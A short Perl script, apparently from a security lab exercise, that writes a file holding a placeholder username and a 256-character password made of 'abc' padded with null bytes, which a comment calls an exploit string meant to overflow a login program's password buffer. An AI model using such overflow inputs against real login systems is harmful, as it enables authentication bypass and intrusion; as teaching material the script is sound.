#!/usr/bin/perl

$badusername = "BADUSERNAME";
$identity = "abc";

open($file, ">", "exploit1.txt");
$str = $identity . "\0" x (128 - length($identity));
print $file $badusername . "\n" . $str x 2 . "\n"; # prints out our bad username as the first input, and a 256 character exploit string as the password.
close($file);
